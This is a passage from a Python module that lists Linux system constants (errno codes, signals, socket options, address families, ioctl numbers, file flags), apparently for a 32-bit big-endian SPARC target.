Constant('ENOTUNIQ',115) ERESTART = Constant('ERESTART',116) EUCLEAN = Constant('EUCLEAN',117) ENOTNAM = Constant('ENOTNAM',118) ENAVAIL = Constant('ENAVAIL',119) EISNAM = Constant('EISNAM',120) EREMOTEIO = Constant('EREMOTEIO',121) EILSEQ = Constant('EILSEQ',122) ELIBMAX = Constant('ELIBMAX',123) ELIBSCN = Constant('ELIBSCN',124) ENOMEDIUM = Constant('ENOMEDIUM',125) EMEDIUMTYPE = Constant('EMEDIUMTYPE',126) ECANCELED = Constant('ECANCELED',127) ENOKEY = Constant('ENOKEY',128) EKEYEXPIRED = Constant('EKEYEXPIRED',129) EKEYREVOKED = Constant('EKEYREVOKED',130) EKEYREJECTED = Constant('EKEYREJECTED',131) EOWNERDEAD = Constant('EOWNERDEAD',132) ENOTRECOVERABLE = Constant('ENOTRECOVERABLE',133) ERFKILL = Constant('ERFKILL',134) EHWPOISON = Constant('EHWPOISON',135) __SYS_NERR = Constant('__SYS_NERR',((135) + 1)) __LITTLE_ENDIAN = Constant('__LITTLE_ENDIAN',1234) __BIG_ENDIAN = Constant('__BIG_ENDIAN',4321) __BYTE_ORDER = Constant('__BYTE_ORDER',4321) __FLOAT_WORD_ORDER = Constant('__FLOAT_WORD_ORDER',4321) LITTLE_ENDIAN = Constant('LITTLE_ENDIAN',1234) BIG_ENDIAN = Constant('BIG_ENDIAN',4321) BYTE_ORDER = Constant('BYTE_ORDER',4321) __WORDSIZE = Constant('__WORDSIZE',32) INT8_MAX = Constant('INT8_MAX',(127)) INT16_MAX = Constant('INT16_MAX',(32767)) INT32_MAX = Constant('INT32_MAX',(2147483647)) INT64_MAX = Constant('INT64_MAX',(9223372036854775807)) INT8_MIN = Constant('INT8_MIN',(-1 - (127))) INT16_MIN = Constant('INT16_MIN',(-1 - (32767))) INT32_MIN = Constant('INT32_MIN',(-1 - (2147483647))) INT64_MIN = Constant('INT64_MIN',(-1 - (9223372036854775807))) INT_LEAST8_MAX = Constant('INT_LEAST8_MAX',(127)) INT_LEAST8_MIN = Constant('INT_LEAST8_MIN',(-1 - (127))) INT_LEAST16_MAX = Constant('INT_LEAST16_MAX',(32767)) INT_LEAST16_MIN = Constant('INT_LEAST16_MIN',(-1 - (32767))) INT_LEAST32_MAX = Constant('INT_LEAST32_MAX',(2147483647)) INT_LEAST32_MIN = Constant('INT_LEAST32_MIN',(-1 - (2147483647))) INT_LEAST64_MAX = Constant('INT_LEAST64_MAX',(9223372036854775807)) INT_LEAST64_MIN = Constant('INT_LEAST64_MIN',(-1 - (9223372036854775807))) UINT8_MAX = Constant('UINT8_MAX',0xff) UINT16_MAX = Constant('UINT16_MAX',0xffff) UINT32_MAX = Constant('UINT32_MAX',0xffffffff) UINT64_MAX = Constant('UINT64_MAX',0xffffffffffffffff) UINT_LEAST8_MAX = Constant('UINT_LEAST8_MAX',0xff) UINT_LEAST16_MAX = Constant('UINT_LEAST16_MAX',0xffff) UINT_LEAST32_MAX = Constant('UINT_LEAST32_MAX',0xffffffff) UINT_LEAST64_MAX = Constant('UINT_LEAST64_MAX',0xffffffffffffffff) INTPTR_MIN = Constant('INTPTR_MIN',(-1 - (2147483647))) INTPTR_MAX = Constant('INTPTR_MAX',(2147483647)) UINTPTR_MAX = Constant('UINTPTR_MAX',0xffffffff) SIZE_MAX = Constant('SIZE_MAX',0xffffffff) PTRDIFF_MIN = Constant('PTRDIFF_MIN',(-1 - (2147483647))) PTRDIFF_MAX = Constant('PTRDIFF_MAX',(2147483647)) INTMAX_MIN = Constant('INTMAX_MIN',(-1 - (9223372036854775807))) INTMAX_MAX = Constant('INTMAX_MAX',(9223372036854775807)) UINTMAX_MAX = Constant('UINTMAX_MAX',0xffffffffffffffff) INT_FAST8_MIN = Constant('INT_FAST8_MIN',(-1 - (127))) INT_FAST8_MAX = Constant('INT_FAST8_MAX',(127)) INT_FAST64_MIN = Constant('INT_FAST64_MIN',(-1 - (9223372036854775807))) INT_FAST64_MAX = Constant('INT_FAST64_MAX',(9223372036854775807)) UINT_FAST8_MAX = Constant('UINT_FAST8_MAX',0xff) UINT_FAST64_MAX = Constant('UINT_FAST64_MAX',0xffffffffffffffff) INT_FAST16_MIN = Constant('INT_FAST16_MIN',(-1 - (2147483647))) INT_FAST16_MAX = Constant('INT_FAST16_MAX',(2147483647)) UINT_FAST16_MAX = Constant('UINT_FAST16_MAX',0xffffffff) INT_FAST32_MIN = Constant('INT_FAST32_MIN',(-1 - (2147483647))) INT_FAST32_MAX = Constant('INT_FAST32_MAX',(2147483647)) UINT_FAST32_MAX = Constant('UINT_FAST32_MAX',0xffffffff) WINT_MIN = Constant('WINT_MIN',0) __FSUID_H = Constant('__FSUID_H',1) NSIG = Constant('NSIG',32) _NSIG = Constant('_NSIG',65) SIGHUP = Constant('SIGHUP',1) SIGINT = Constant('SIGINT',2) SIGQUIT = Constant('SIGQUIT',3) SIGILL = Constant('SIGILL',4) SIGTRAP = Constant('SIGTRAP',5) SIGABRT = Constant('SIGABRT',6) SIGIOT = Constant('SIGIOT',6) SIGFPE = Constant('SIGFPE',8) SIGKILL = Constant('SIGKILL',9) SIGSEGV = Constant('SIGSEGV',11) SIGPIPE = Constant('SIGPIPE',13) SIGALRM = Constant('SIGALRM',14) SIGTERM = Constant('SIGTERM',15) SIGUNUSED = Constant('SIGUNUSED',31) SIGEMT = Constant('SIGEMT',7) SIGBUS = Constant('SIGBUS',10) SIGSYS = Constant('SIGSYS',12) SIGURG = Constant('SIGURG',16) SIGSTOP = Constant('SIGSTOP',17) SIGTSTP = Constant('SIGTSTP',18) SIGCONT = Constant('SIGCONT',19) SIGCHLD = Constant('SIGCHLD',20) SIGTTIN = Constant('SIGTTIN',21) SIGTTOU = Constant('SIGTTOU',22) SIGIO = Constant('SIGIO',23) SIGXCPU = Constant('SIGXCPU',24) SIGXFSZ = Constant('SIGXFSZ',25) SIGVTALRM = Constant('SIGVTALRM',26) SIGPROF = Constant('SIGPROF',27) SIGWINCH = Constant('SIGWINCH',28) SIGPWR = Constant('SIGPWR',29) SIGUSR1 = Constant('SIGUSR1',30) SIGUSR2 = Constant('SIGUSR2',31) SIGCLD = Constant('SIGCLD',20) SIGPOLL = Constant('SIGPOLL',23) SIGLOST = Constant('SIGLOST',29) SIGRTMIN = Constant('SIGRTMIN',32) SIGRTMAX = Constant('SIGRTMAX',(65-1)) SV_SSTACK = Constant('SV_SSTACK',1) SV_INTR = Constant('SV_INTR',2) SV_RESET = Constant('SV_RESET',4) SV_IGNCHILD = Constant('SV_IGNCHILD',8) SA_NOCLDSTOP = Constant('SA_NOCLDSTOP',8) SA_STACK = Constant('SA_STACK',1) SA_ONSTACK = Constant('SA_ONSTACK',1) SA_RESTART = Constant('SA_RESTART',2) SA_RESETHAND = Constant('SA_RESETHAND',4) SA_INTERRUPT = Constant('SA_INTERRUPT',0x10) SA_NODEFER = Constant('SA_NODEFER',0x20) SA_SHIRQ = Constant('SA_SHIRQ',0x40) SA_NOCLDWAIT = Constant('SA_NOCLDWAIT',0x100) SA_SIGINFO = Constant('SA_SIGINFO',0x200) SA_NOMASK = Constant('SA_NOMASK',0x20) SA_ONESHOT = Constant('SA_ONESHOT',4) SS_ONSTACK = Constant('SS_ONSTACK',1) SS_DISABLE = Constant('SS_DISABLE',2) MINSIGSTKSZ = Constant('MINSIGSTKSZ',2048) SIGSTKSZ = Constant('SIGSTKSZ',8192) SIG_BLOCK = Constant('SIG_BLOCK',1) SIG_UNBLOCK = Constant('SIG_UNBLOCK',2) SIG_SETMASK = Constant('SIG_SETMASK',4) SI_MAX_SIZE = Constant('SI_MAX_SIZE',128) SIGEV_SIGNAL = Constant('SIGEV_SIGNAL',0) SIGEV_NONE = Constant('SIGEV_NONE',1) SIGEV_THREAD = Constant('SIGEV_THREAD',2) SIGEV_THREAD_ID = Constant('SIGEV_THREAD_ID',4) SIGEV_MAX_SIZE = Constant('SIGEV_MAX_SIZE',64) _SYS_TIME_H = Constant('_SYS_TIME_H',1) ITIMER_REAL = Constant('ITIMER_REAL',0) ITIMER_VIRTUAL = Constant('ITIMER_VIRTUAL',1) ITIMER_PROF = Constant('ITIMER_PROF',2) __SUNOS_MAXWIN = Constant('__SUNOS_MAXWIN',31) MC_TSTATE = Constant('MC_TSTATE',0) MC_PC = Constant('MC_PC',1) MC_NPC = Constant('MC_NPC',2) MC_Y = Constant('MC_Y',3) MC_G1 = Constant('MC_G1',4) MC_G2 = Constant('MC_G2',5) MC_G3 = Constant('MC_G3',6) MC_G4 = Constant('MC_G4',7) MC_G5 = Constant('MC_G5',8) MC_G6 = Constant('MC_G6',9) MC_G7 = Constant('MC_G7',10) MC_O0 = Constant('MC_O0',11) MC_O1 = Constant('MC_O1',12) MC_O2 = Constant('MC_O2',13) MC_O3 = Constant('MC_O3',14) MC_O4 = Constant('MC_O4',15) MC_O5 = Constant('MC_O5',16) MC_O6 = Constant('MC_O6',17) MC_O7 = Constant('MC_O7',18) MC_NGREG = Constant('MC_NGREG',19) MC_MAXFPQ = Constant('MC_MAXFPQ',16) FD_SETSIZE = Constant('FD_SETSIZE',1024) R_OK = Constant('R_OK',4) W_OK = Constant('W_OK',2) X_OK = Constant('X_OK',1) F_OK = Constant('F_OK',0) SEEK_SET = Constant('SEEK_SET',0) SEEK_CUR = Constant('SEEK_CUR',1) SEEK_END = Constant('SEEK_END',2) STDIN_FILENO = Constant('STDIN_FILENO',0) STDOUT_FILENO = Constant('STDOUT_FILENO',1) STDERR_FILENO = Constant('STDERR_FILENO',2) _CS_PATH = Constant('_CS_PATH',1) _SC_CLK_TCK = Constant('_SC_CLK_TCK',1) _SC_ARG_MAX = Constant('_SC_ARG_MAX',2) _SC_NGROUPS_MAX = Constant('_SC_NGROUPS_MAX',3) _SC_OPEN_MAX = Constant('_SC_OPEN_MAX',4) _SC_PAGESIZE = Constant('_SC_PAGESIZE',5) _SC_NPROCESSORS_ONLN = Constant('_SC_NPROCESSORS_ONLN',6) _SC_NPROCESSORS_CONF = Constant('_SC_NPROCESSORS_CONF',6) _SC_PHYS_PAGES = Constant('_SC_PHYS_PAGES',7) _SC_GETPW_R_SIZE_MAX = Constant('_SC_GETPW_R_SIZE_MAX',8) _SC_GETGR_R_SIZE_MAX = Constant('_SC_GETGR_R_SIZE_MAX',9) _PC_PATH_MAX = Constant('_PC_PATH_MAX',1) _PC_VDISABLE = Constant('_PC_VDISABLE',2) L_cuserid = Constant('L_cuserid',17) _POSIX_VERSION = Constant('_POSIX_VERSION',199506) F_ULOCK = Constant('F_ULOCK',0) F_LOCK = Constant('F_LOCK',1) F_TLOCK = Constant('F_TLOCK',2) F_TEST = Constant('F_TEST',3) _POSIX_MAPPED_FILES = Constant('_POSIX_MAPPED_FILES',200809) S_IFMT = Constant('S_IFMT',0o0170000) S_IFSOCK = Constant('S_IFSOCK',0o140000) S_IFLNK = Constant('S_IFLNK',0o120000) S_IFREG = Constant('S_IFREG',0o100000) S_IFBLK = Constant('S_IFBLK',0o060000) S_IFDIR = Constant('S_IFDIR',0o040000) S_IFCHR = Constant('S_IFCHR',0o020000) S_IFIFO = Constant('S_IFIFO',0o010000) S_ISUID = Constant('S_ISUID',0o004000) S_ISGID = Constant('S_ISGID',0o002000) S_ISVTX = Constant('S_ISVTX',0o001000) S_IRWXU = Constant('S_IRWXU',0o0700) S_IRUSR = Constant('S_IRUSR',0o0400) S_IWUSR = Constant('S_IWUSR',0o0200) S_IXUSR = Constant('S_IXUSR',0o0100) S_IRWXG = Constant('S_IRWXG',0o0070) S_IRGRP = Constant('S_IRGRP',0o0040) S_IWGRP = Constant('S_IWGRP',0o0020) S_IXGRP = Constant('S_IXGRP',0o0010) S_IRWXO = Constant('S_IRWXO',0o0007) S_IROTH = Constant('S_IROTH',0o0004) S_IWOTH = Constant('S_IWOTH',0o0002) S_IXOTH = Constant('S_IXOTH',0o0001) S_IREAD = Constant('S_IREAD',0o0400) S_IWRITE = Constant('S_IWRITE',0o0200) S_IEXEC = Constant('S_IEXEC',0o0100) _SYS_UIO = Constant('_SYS_UIO',1) SOL_SOCKET = Constant('SOL_SOCKET',0xffff) SO_DEBUG = Constant('SO_DEBUG',0x0001) SO_PASSCRED = Constant('SO_PASSCRED',0x0002) SO_REUSEADDR = Constant('SO_REUSEADDR',0x0004) SO_KEEPALIVE = Constant('SO_KEEPALIVE',0x0008) SO_DONTROUTE = Constant('SO_DONTROUTE',0x0010) SO_BROADCAST = Constant('SO_BROADCAST',0x0020) SO_PEERCRED = Constant('SO_PEERCRED',0x0040) SO_LINGER = Constant('SO_LINGER',0x0080) SO_OOBINLINE = Constant('SO_OOBINLINE',0x0100) SO_REUSEPORT = Constant('SO_REUSEPORT',0x0200) SO_BSDCOMPAT = Constant('SO_BSDCOMPAT',0x0400) SO_RCVLOWAT = Constant('SO_RCVLOWAT',0x0800) SO_SNDLOWAT = Constant('SO_SNDLOWAT',0x1000) SO_RCVTIMEO = Constant('SO_RCVTIMEO',0x2000) SO_SNDTIMEO = Constant('SO_SNDTIMEO',0x4000) SO_ACCEPTCONN = Constant('SO_ACCEPTCONN',0x8000) SO_DONTLINGER = Constant('SO_DONTLINGER',(~0x0080)) SO_SNDBUF = Constant('SO_SNDBUF',0x1001) SO_RCVBUF = Constant('SO_RCVBUF',0x1002) SO_SNDBUFFORCE = Constant('SO_SNDBUFFORCE',0x100a) SO_RCVBUFFORCE = Constant('SO_RCVBUFFORCE',0x100b) SO_ERROR = Constant('SO_ERROR',0x1007) SO_TYPE = Constant('SO_TYPE',0x1008) SO_ATTACH_FILTER = Constant('SO_ATTACH_FILTER',0x001a) SO_DETACH_FILTER = Constant('SO_DETACH_FILTER',0x001b) SO_GET_FILTER = Constant('SO_GET_FILTER',0x001a) SO_PEERNAME = Constant('SO_PEERNAME',0x001c) SO_TIMESTAMP = Constant('SO_TIMESTAMP',0x001d) SCM_TIMESTAMP = Constant('SCM_TIMESTAMP',0x001d) SO_PEERSEC = Constant('SO_PEERSEC',0x001e) SO_PASSSEC = Constant('SO_PASSSEC',0x001f) SO_TIMESTAMPNS = Constant('SO_TIMESTAMPNS',0x0021) SCM_TIMESTAMPNS = Constant('SCM_TIMESTAMPNS',0x0021) SO_MARK = Constant('SO_MARK',0x0022) SO_TIMESTAMPING = Constant('SO_TIMESTAMPING',0x0023) SCM_TIMESTAMPING = Constant('SCM_TIMESTAMPING',0x0023) SO_RXQ_OVFL = Constant('SO_RXQ_OVFL',0x0024) SO_WIFI_STATUS = Constant('SO_WIFI_STATUS',0x0025) SCM_WIFI_STATUS = Constant('SCM_WIFI_STATUS',0x0025) SO_PEEK_OFF = Constant('SO_PEEK_OFF',0x0026) SO_NOFCS = Constant('SO_NOFCS',0x0027) SO_LOCK_FILTER = Constant('SO_LOCK_FILTER',0x0028) SO_SELECT_ERR_QUEUE = Constant('SO_SELECT_ERR_QUEUE',0x0029) SO_BUSY_POLL = Constant('SO_BUSY_POLL',0x0030) SO_MAX_PACING_RATE = Constant('SO_MAX_PACING_RATE',0x0031) SO_BPF_EXTENSIONS = Constant('SO_BPF_EXTENSIONS',0x0032) SO_INCOMING_CPU = Constant('SO_INCOMING_CPU',0x0033) SO_ATTACH_BPF = Constant('SO_ATTACH_BPF',0x0034) SO_DETACH_BPF = Constant('SO_DETACH_BPF',0x001b) SO_ATTACH_REUSEPORT_CBPF = Constant('SO_ATTACH_REUSEPORT_CBPF',0x0035) SO_ATTACH_REUSEPORT_EBPF = Constant('SO_ATTACH_REUSEPORT_EBPF',0x0036) SO_CNX_ADVICE = Constant('SO_CNX_ADVICE',0x0037) SCM_TIMESTAMPING_OPT_STATS = Constant('SCM_TIMESTAMPING_OPT_STATS',0x0038) SO_MEMINFO = Constant('SO_MEMINFO',0x0039) SO_INCOMING_NAPI_ID = Constant('SO_INCOMING_NAPI_ID',0x003a) SO_COOKIE = Constant('SO_COOKIE',0x003b) SCM_TIMESTAMPING_PKTINFO = Constant('SCM_TIMESTAMPING_PKTINFO',0x003c) SO_PEERGROUPS = Constant('SO_PEERGROUPS',0x003d) SO_ZEROCOPY = Constant('SO_ZEROCOPY',0x003e) SO_SECURITY_AUTHENTICATION = Constant('SO_SECURITY_AUTHENTICATION',0x5001) SO_SECURITY_ENCRYPTION_TRANSPORT = Constant('SO_SECURITY_ENCRYPTION_TRANSPORT',0x5002) SO_SECURITY_ENCRYPTION_NETWORK = Constant('SO_SECURITY_ENCRYPTION_NETWORK',0x5004) SOCK_STREAM = Constant('SOCK_STREAM',1) SOCK_DGRAM = Constant('SOCK_DGRAM',2) SOCK_RAW = Constant('SOCK_RAW',3) SOCK_RDM = Constant('SOCK_RDM',4) SOCK_SEQPACKET = Constant('SOCK_SEQPACKET',5) SOCK_DCCP = Constant('SOCK_DCCP',6) SOCK_PACKET = Constant('SOCK_PACKET',10) UIO_FASTIOV = Constant('UIO_FASTIOV',8) UIO_MAXIOV = Constant('UIO_MAXIOV',1024) SCM_RIGHTS = Constant('SCM_RIGHTS',0x01) SCM_CREDENTIALS = Constant('SCM_CREDENTIALS',0x02) SCM_CONNECT = Constant('SCM_CONNECT',0x03) AF_UNSPEC = Constant('AF_UNSPEC',0) AF_UNIX = Constant('AF_UNIX',1) AF_LOCAL = Constant('AF_LOCAL',1) AF_INET = Constant('AF_INET',2) AF_AX25 = Constant('AF_AX25',3) AF_IPX = Constant('AF_IPX',4) AF_APPLETALK = Constant('AF_APPLETALK',5) AF_NETROM = Constant('AF_NETROM',6) AF_BRIDGE = Constant('AF_BRIDGE',7) AF_ATMPVC = Constant('AF_ATMPVC',8) AF_X25 = Constant('AF_X25',9) AF_INET6 = Constant('AF_INET6',10) AF_ROSE = Constant('AF_ROSE',11) AF_DECnet = Constant('AF_DECnet',12) AF_NETBEUI = Constant('AF_NETBEUI',13) AF_SECURITY = Constant('AF_SECURITY',14) AF_KEY = Constant('AF_KEY',15) AF_NETLINK = Constant('AF_NETLINK',16) AF_ROUTE = Constant('AF_ROUTE',16) AF_PACKET = Constant('AF_PACKET',17) AF_ASH = Constant('AF_ASH',18) AF_ECONET = Constant('AF_ECONET',19) AF_ATMSVC = Constant('AF_ATMSVC',20) AF_SNA = Constant('AF_SNA',22) AF_IRDA = Constant('AF_IRDA',23) AF_PPPOX = Constant('AF_PPPOX',24) AF_WANPIPE = Constant('AF_WANPIPE',25) AF_LLC = Constant('AF_LLC',26) AF_IB = Constant('AF_IB',27) AF_MPLS = Constant('AF_MPLS',28) AF_CAN = Constant('AF_CAN',29) AF_TIPC = Constant('AF_TIPC',30) AF_BLUETOOTH = Constant('AF_BLUETOOTH',31) AF_IUCV = Constant('AF_IUCV',32) AF_RXRPC = Constant('AF_RXRPC',33) AF_ISDN = Constant('AF_ISDN',34) AF_PHONET = Constant('AF_PHONET',35) AF_IEEE802154 = Constant('AF_IEEE802154',36) AF_CAIF = Constant('AF_CAIF',37) AF_ALG = Constant('AF_ALG',38) AF_NFC = Constant('AF_NFC',39) AF_VSOCK = Constant('AF_VSOCK',40) AF_KCM = Constant('AF_KCM',41) AF_QIPCRTR = Constant('AF_QIPCRTR',42) AF_SMC = Constant('AF_SMC',43) AF_MAX = Constant('AF_MAX',44) PF_UNSPEC = Constant('PF_UNSPEC',0) PF_UNIX = Constant('PF_UNIX',1) PF_LOCAL = Constant('PF_LOCAL',1) PF_INET = Constant('PF_INET',2) PF_AX25 = Constant('PF_AX25',3) PF_IPX = Constant('PF_IPX',4) PF_APPLETALK = Constant('PF_APPLETALK',5) PF_NETROM = Constant('PF_NETROM',6) PF_BRIDGE = Constant('PF_BRIDGE',7) PF_ATMPVC = Constant('PF_ATMPVC',8) PF_X25 = Constant('PF_X25',9) PF_INET6 = Constant('PF_INET6',10) PF_ROSE = Constant('PF_ROSE',11) PF_DECnet = Constant('PF_DECnet',12) PF_NETBEUI = Constant('PF_NETBEUI',13) PF_SECURITY = Constant('PF_SECURITY',14) PF_KEY = Constant('PF_KEY',15) PF_NETLINK = Constant('PF_NETLINK',16) PF_ROUTE = Constant('PF_ROUTE',16) PF_PACKET = Constant('PF_PACKET',17) PF_ASH = Constant('PF_ASH',18) PF_ECONET = Constant('PF_ECONET',19) PF_ATMSVC = Constant('PF_ATMSVC',20) PF_SNA = Constant('PF_SNA',22) PF_IRDA = Constant('PF_IRDA',23) PF_PPPOX = Constant('PF_PPPOX',24) PF_WANPIPE = Constant('PF_WANPIPE',25) PF_LLC = Constant('PF_LLC',26) PF_IB = Constant('PF_IB',27) PF_MPLS = Constant('PF_MPLS',28) PF_CAN = Constant('PF_CAN',29) PF_TIPC = Constant('PF_TIPC',30) PF_BLUETOOTH = Constant('PF_BLUETOOTH',31) PF_IUCV = Constant('PF_IUCV',32) PF_RXRPC = Constant('PF_RXRPC',33) PF_ISDN = Constant('PF_ISDN',34) PF_PHONET = Constant('PF_PHONET',35) PF_IEEE802154 = Constant('PF_IEEE802154',36) PF_CAIF = Constant('PF_CAIF',37) PF_ALG = Constant('PF_ALG',38) PF_NFC = Constant('PF_NFC',39) PF_VSOCK = Constant('PF_VSOCK',40) PF_KCM = Constant('PF_KCM',41) PF_QIPCRTR = Constant('PF_QIPCRTR',42) PF_SMC = Constant('PF_SMC',43) PF_MAX = Constant('PF_MAX',44) SOMAXCONN = Constant('SOMAXCONN',128) MSG_OOB = Constant('MSG_OOB',1) MSG_PEEK = Constant('MSG_PEEK',2) MSG_DONTROUTE = Constant('MSG_DONTROUTE',4) MSG_TRYHARD = Constant('MSG_TRYHARD',4) MSG_CTRUNC = Constant('MSG_CTRUNC',8) MSG_PROBE = Constant('MSG_PROBE',0x10) MSG_TRUNC = Constant('MSG_TRUNC',0x20) MSG_DONTWAIT = Constant('MSG_DONTWAIT',0x40) MSG_EOR = Constant('MSG_EOR',0x80) MSG_WAITALL = Constant('MSG_WAITALL',0x100) MSG_FIN = Constant('MSG_FIN',0x200) MSG_SYN = Constant('MSG_SYN',0x400) MSG_CONFIRM = Constant('MSG_CONFIRM',0x800) MSG_RST = Constant('MSG_RST',0x1000) MSG_ERRQUEUE = Constant('MSG_ERRQUEUE',0x2000) MSG_NOSIGNAL = Constant('MSG_NOSIGNAL',0x4000) MSG_MORE = Constant('MSG_MORE',0x8000) MSG_WAITFORONE = Constant('MSG_WAITFORONE',0x10000) MSG_SENDPAGE_NOTLAST = Constant('MSG_SENDPAGE_NOTLAST',0x20000) MSG_BATCH = Constant('MSG_BATCH',0x40000) MSG_EOF = Constant('MSG_EOF',0x200) MSG_ZEROCOPY = Constant('MSG_ZEROCOPY',0x4000000) MSG_FASTOPEN = Constant('MSG_FASTOPEN',0x20000000) MSG_CMSG_CLOEXEC = Constant('MSG_CMSG_CLOEXEC',0x40000000) SOL_IP = Constant('SOL_IP',0) SOL_TCP = Constant('SOL_TCP',6) SOL_UDP = Constant('SOL_UDP',17) SOL_IPV6 = Constant('SOL_IPV6',41) SOL_ICMPV6 = Constant('SOL_ICMPV6',58) SOL_SCTP = Constant('SOL_SCTP',132) SOL_UDPLITE = Constant('SOL_UDPLITE',136) SOL_RAW = Constant('SOL_RAW',255) SOL_IPX = Constant('SOL_IPX',256) SOL_AX25 = Constant('SOL_AX25',257) SOL_ATALK = Constant('SOL_ATALK',258) SOL_NETROM = Constant('SOL_NETROM',259) SOL_ROSE = Constant('SOL_ROSE',260) SOL_DECNET = Constant('SOL_DECNET',261) SOL_X25 = Constant('SOL_X25',262) SOL_PACKET = Constant('SOL_PACKET',263) SOL_ATM = Constant('SOL_ATM',264) SOL_AAL = Constant('SOL_AAL',265) SOL_IRDA = Constant('SOL_IRDA',266) SOL_NETBEUI = Constant('SOL_NETBEUI',267) SOL_LLC = Constant('SOL_LLC',268) SOL_DCCP = Constant('SOL_DCCP',269) SOL_NETLINK = Constant('SOL_NETLINK',270) SOL_TIPC = Constant('SOL_TIPC',271) SOL_RXRPC = Constant('SOL_RXRPC',272) SOL_PPPOL2TP = Constant('SOL_PPPOL2TP',273) SOL_BLUETOOTH = Constant('SOL_BLUETOOTH',274) SOL_PNPIPE = Constant('SOL_PNPIPE',275) SOL_RDS = Constant('SOL_RDS',276) SOL_IUCV = Constant('SOL_IUCV',277) SOL_CAIF = Constant('SOL_CAIF',278) SOL_ALG = Constant('SOL_ALG',279) SOL_NFC = Constant('SOL_NFC',280) SOL_KCM = Constant('SOL_KCM',281) SOL_TLS = Constant('SOL_TLS',282) IPX_TYPE = Constant('IPX_TYPE',1) SHUT_RD = Constant('SHUT_RD',0) SHUT_WR = Constant('SHUT_WR',1) SHUT_RDWR = Constant('SHUT_RDWR',2) NI_NOFQDN = Constant('NI_NOFQDN',1) NI_NUMERICHOST = Constant('NI_NUMERICHOST',2) NI_NAMEREQD = Constant('NI_NAMEREQD',4) NI_NUMERICSERV = Constant('NI_NUMERICSERV',8) NI_DGRAM = Constant('NI_DGRAM',16) EAI_FAMILY = Constant('EAI_FAMILY',-1) EAI_SOCKTYPE = Constant('EAI_SOCKTYPE',-2) EAI_BADFLAGS = Constant('EAI_BADFLAGS',-3) EAI_NONAME = Constant('EAI_NONAME',-4) EAI_SERVICE = Constant('EAI_SERVICE',-5) EAI_ADDRFAMILY = Constant('EAI_ADDRFAMILY',-6) EAI_NODATA = Constant('EAI_NODATA',-7) EAI_MEMORY = Constant('EAI_MEMORY',-8) EAI_FAIL = Constant('EAI_FAIL',-9) EAI_AGAIN = Constant('EAI_AGAIN',-10) EAI_SYSTEM = Constant('EAI_SYSTEM',-11) AI_NUMERICHOST = Constant('AI_NUMERICHOST',1) AI_CANONNAME = Constant('AI_CANONNAME',2) AI_PASSIVE = Constant('AI_PASSIVE',4) AI_NUMERICSERV = Constant('AI_NUMERICSERV',8) AI_ADDRCONFIG = Constant('AI_ADDRCONFIG',16) AI_V4MAPPED = Constant('AI_V4MAPPED',32) AI_ALL = Constant('AI_ALL',64) SIOCADDRT = Constant('SIOCADDRT',0x890B) SIOCDELRT = Constant('SIOCDELRT',0x890C) SIOCRTMSG = Constant('SIOCRTMSG',0x890D) SIOCGIFNAME = Constant('SIOCGIFNAME',0x8910) SIOCSIFLINK = Constant('SIOCSIFLINK',0x8911) SIOCGIFCONF = Constant('SIOCGIFCONF',0x8912) SIOCGIFFLAGS = Constant('SIOCGIFFLAGS',0x8913) SIOCSIFFLAGS = Constant('SIOCSIFFLAGS',0x8914) SIOCGIFADDR = Constant('SIOCGIFADDR',0x8915) SIOCSIFADDR = Constant('SIOCSIFADDR',0x8916) SIOCGIFDSTADDR = Constant('SIOCGIFDSTADDR',0x8917) SIOCSIFDSTADDR = Constant('SIOCSIFDSTADDR',0x8918) SIOCGIFBRDADDR = Constant('SIOCGIFBRDADDR',0x8919) SIOCSIFBRDADDR = Constant('SIOCSIFBRDADDR',0x891a) SIOCGIFNETMASK = Constant('SIOCGIFNETMASK',0x891b) SIOCSIFNETMASK = Constant('SIOCSIFNETMASK',0x891c) SIOCGIFMETRIC = Constant('SIOCGIFMETRIC',0x891d) SIOCSIFMETRIC = Constant('SIOCSIFMETRIC',0x891e) SIOCGIFMEM = Constant('SIOCGIFMEM',0x891f) SIOCSIFMEM = Constant('SIOCSIFMEM',0x8920) SIOCGIFMTU = Constant('SIOCGIFMTU',0x8921) SIOCSIFMTU = Constant('SIOCSIFMTU',0x8922) SIOCSIFNAME = Constant('SIOCSIFNAME',0x8923) SIOCSIFHWADDR = Constant('SIOCSIFHWADDR',0x8924) SIOCGIFENCAP = Constant('SIOCGIFENCAP',0x8925) SIOCSIFENCAP = Constant('SIOCSIFENCAP',0x8926) SIOCGIFHWADDR = Constant('SIOCGIFHWADDR',0x8927) SIOCGIFSLAVE = Constant('SIOCGIFSLAVE',0x8929) SIOCSIFSLAVE = Constant('SIOCSIFSLAVE',0x8930) SIOCADDMULTI = Constant('SIOCADDMULTI',0x8931) SIOCDELMULTI = Constant('SIOCDELMULTI',0x8932) SIOCGIFINDEX = Constant('SIOCGIFINDEX',0x8933) SIOGIFINDEX = Constant('SIOGIFINDEX',0x8933) SIOCSIFPFLAGS = Constant('SIOCSIFPFLAGS',0x8934) SIOCGIFPFLAGS = Constant('SIOCGIFPFLAGS',0x8935) SIOCDIFADDR = Constant('SIOCDIFADDR',0x8936) SIOCSIFHWBROADCAST = Constant('SIOCSIFHWBROADCAST',0x8937) SIOCGIFCOUNT = Constant('SIOCGIFCOUNT',0x8938) SIOCGIFBR = Constant('SIOCGIFBR',0x8940) SIOCSIFBR = Constant('SIOCSIFBR',0x8941) SIOCGIFTXQLEN = Constant('SIOCGIFTXQLEN',0x8942) SIOCSIFTXQLEN = Constant('SIOCSIFTXQLEN',0x8943) SIOCGIFDIVERT = Constant('SIOCGIFDIVERT',0x8944) SIOCSIFDIVERT = Constant('SIOCSIFDIVERT',0x8945) SIOCETHTOOL = Constant('SIOCETHTOOL',0x8946) SIOCDARP = Constant('SIOCDARP',0x8953) SIOCGARP = Constant('SIOCGARP',0x8954) SIOCSARP = Constant('SIOCSARP',0x8955) SIOCDRARP = Constant('SIOCDRARP',0x8960) SIOCGRARP = Constant('SIOCGRARP',0x8961) SIOCSRARP = Constant('SIOCSRARP',0x8962) SIOCGIFMAP = Constant('SIOCGIFMAP',0x8970) SIOCSIFMAP = Constant('SIOCSIFMAP',0x8971) SIOCADDDLCI = Constant('SIOCADDDLCI',0x8980) SIOCDELDLCI = Constant('SIOCDELDLCI',0x8981) SIOCDEVPRIVATE = Constant('SIOCDEVPRIVATE',0x89F0) F_LINUX_SPECIFIC_BASE = Constant('F_LINUX_SPECIFIC_BASE',1024) O_RDONLY = Constant('O_RDONLY',0x0000) O_WRONLY = Constant('O_WRONLY',0x0001) O_RDWR = Constant('O_RDWR',0x0002) O_ACCMODE = Constant('O_ACCMODE',0x0003) O_APPEND = 